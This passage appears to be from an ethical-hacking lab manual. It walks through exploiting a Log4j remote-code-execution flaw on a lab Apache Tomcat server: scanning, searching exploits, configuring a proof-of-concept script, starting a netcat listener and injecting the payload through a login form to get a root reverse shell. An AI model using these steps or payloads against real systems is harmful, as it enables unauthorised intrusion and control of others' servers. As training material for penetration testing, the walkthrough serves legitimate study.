2. Perform Webserver attacks
An ethical hacker or pen tester must test the company’s web server against various attacks and other vulnerabilities
Last updated
An ethical hacker or pen tester must test the company’s web server against various attacks and other vulnerabilities
Last updated
-t: specifies allocating a pseudo-tty.
Scan the IP
From the result we can see that port 8080 is open and Apache Tomcat/Coyote 1.1 server is running on the target system.
Upon investigation we can see that Apache is vulnerable to Remote Code Execution (RCE) attack. Now we wil use searchsploit to find the vulnerabilities pertaining to RCE attack on the target server.
In the terminal window run searchsploit -t Apache RCE command to view the RCE vulnerabilities on the Apache server.
Now, we need to select a vulnerability to exploit the Server from the list, from the Nmap scan we found that the Apache Tomcat server is running on JSP so we will target java vulnerabilities from the list of vulnerabilities.
We can see that Java platform is vulnerable for Apache Log4j 2 - Remote Command Execution (RCE) exploit.
We will now exploit Log4j vulnerability present in the target Web Server to perform Remote code execution.
Click the Firefox icon at the top of Desktop, to open a browser window.
In the address bar of the browser, type http://10.10.1.9:8080 and press Enter.
As we can observe that the Log4j vulnerable server is running on the Ubuntu machine, leave the Firefox and website open.
Switch to the Terminal window, run cd log4j-shell-poc/ and press Enter, to enter into log4j-shell-poc directory.
Now, we needed to install JDK 8, to do that open a new terminal window and type sudo su and press Enter to run the programs as a root user.
In the [sudo] password for attacker field, type toor as a password and press Enter.
We need to extract JDK zip file which is already placed at /home/attacker location.
Type tar -xf jdk-8u202-linux-x64.tar.gz and press Enter, to extract the file.
-xf: specifies extract all files.
Now we will move the jdk1.8.0_202 into /usr/bin/. To do that, type mv jdk1.8.0_202 /usr/bin/ and press Enter.
Now, we need to update the installed JDK path in the poc.py file.
Navigate to the previous terminal window. In the terminal, type pluma poc.py and press Enter to open poc.py file.
In the poc.py file scroll down and in line 62, replace jdk1.8.0_20/bin/javac with /usr/bin/jdk1.8.0_202/bin/javac.
Scroll down to line 87 and replace jdk1.8.0_20/bin/java with /usr/bin/jdk1.8.0_202/bin/java.
Scroll down to line 99 and replace jdk1.8.0_20/bin/java with /usr/bin/jdk1.8.0_202/bin/java.
After making all the changes save the changes and close the poc.py editor window.
Now, open a new terminal window and type nc -lvp 9001 and press Enter, to initiate a netcat listener as shown in screenshot.
Switch to previous terminal window and type python3 poc.py --userip 10.10.1.13 --webport 8000 --lport 9001 and press Enter, to start the exploitation and create payload.
Now, copy the payload generated in the send me: section.
Switch to Firefox browser window, in Username field paste the payload that was copied in previous step and in Password field type password and press Login button as shown in the screenshot.
In the Password field you can enter any password.
Now switch to the netcat listener, you can see that a reverse shell is opened.
In the listener window type pwd and press Enter, to view the present working directory.
Now, type whoami and press Enter.
We can see that we have shell access to the target web application as a root user.
The Log4j vulnerability takes the payload as input and processes it, as a result we will obtain a reverse shell.